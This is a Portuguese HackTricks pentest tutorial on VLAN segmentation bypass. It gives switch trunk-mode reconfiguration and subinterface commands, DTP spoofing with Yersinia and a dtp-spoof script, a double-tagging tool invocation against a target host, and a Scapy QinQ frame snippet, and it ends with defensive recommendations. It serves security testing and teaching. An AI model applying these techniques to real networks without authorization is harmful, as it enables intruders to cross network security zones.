Bypass de Segmentação Lateral de VLAN

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecendo interfaces virtuais para as VLANs alvo e definindo endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (para mais detalhes, consulte https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara include.

Se o CDP não estiver operacional, a identificação da porta pode ser tentada procurando pelo endereço MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Antes de mudar para o modo trunk, uma lista de VLANs existentes deve ser compilada e seus identificadores determinados. Esses identificadores são então atribuídos à interface, permitindo o acesso a várias VLANs através do trunk. A porta em uso, por exemplo, está associada à VLAN 10.

SW1# show vlan brief

A transição para o modo trunk envolve entrar no modo de configuração da interface:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Mudar para o modo trunk irá interromper temporariamente a conectividade, mas isso pode ser restaurado posteriormente.

Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:

bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60.

Em última análise, esse processo permite contornar a segmentação de VLAN, facilitando o acesso irrestrito a qualquer rede VLAN e preparando o terreno para ações subsequentes.


Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)

O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma porta de acesso regular. Os seguintes truques de Camada 2 frequentemente permitem que você faça um pivot lateral sem nunca fazer login no sistema operacional do switch:

1. Spoofing de Switch com Protocolo de Trunking Dinâmico (DTP)

Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro DTP “desejável” ou “trunk” converte a porta de acesso em um trunk 802.1Q que transporta todas as VLANs permitidas.

Yersinia e vários PoCs automatizam o processo:

bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. Kernels modernos do Linux não requerem mais vconfig; em vez disso, use ip link:

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

2. Double-Tagging (Abuso de Native-VLAN)

Se o atacante estiver na VLAN nativa (sem tag), um quadro elaborado com dois cabeçalhos 802.1Q pode "pular" para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como VLANPWN DoubleTagging.py (atualização de 2022-2024) automatizam a injeção:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

Packet walk-through:

  1. A tag externo (1) é removido pelo primeiro switch porque corresponde à VLAN nativa.
  2. A tag interna (20) agora está exposta; o quadro é encaminhado para o tronco em direção à VLAN 20.

A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados.

3. Empilhamento QinQ (802.1ad)

Muitos núcleos empresariais suportam encapsulamento de provedor de serviço Q-in-Q. Onde permitido, um atacante pode encapsular tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

Recomendações Defensivas

  1. Desative o DTP em todas as portas voltadas para o usuário: switchport mode access + switchport nonegotiate.
  2. Altere a VLAN nativa em cada trunk para uma VLAN não utilizada, black-hole e a marque: vlan dot1q tag native.
  3. Remova VLANs desnecessárias nos trunks: switchport trunk allowed vlan 10,20.
  4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades Layer-2 indesejadas.
  5. Prefira private-VLANs ou segmentação L3 em vez de depender apenas da separação 802.1Q.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks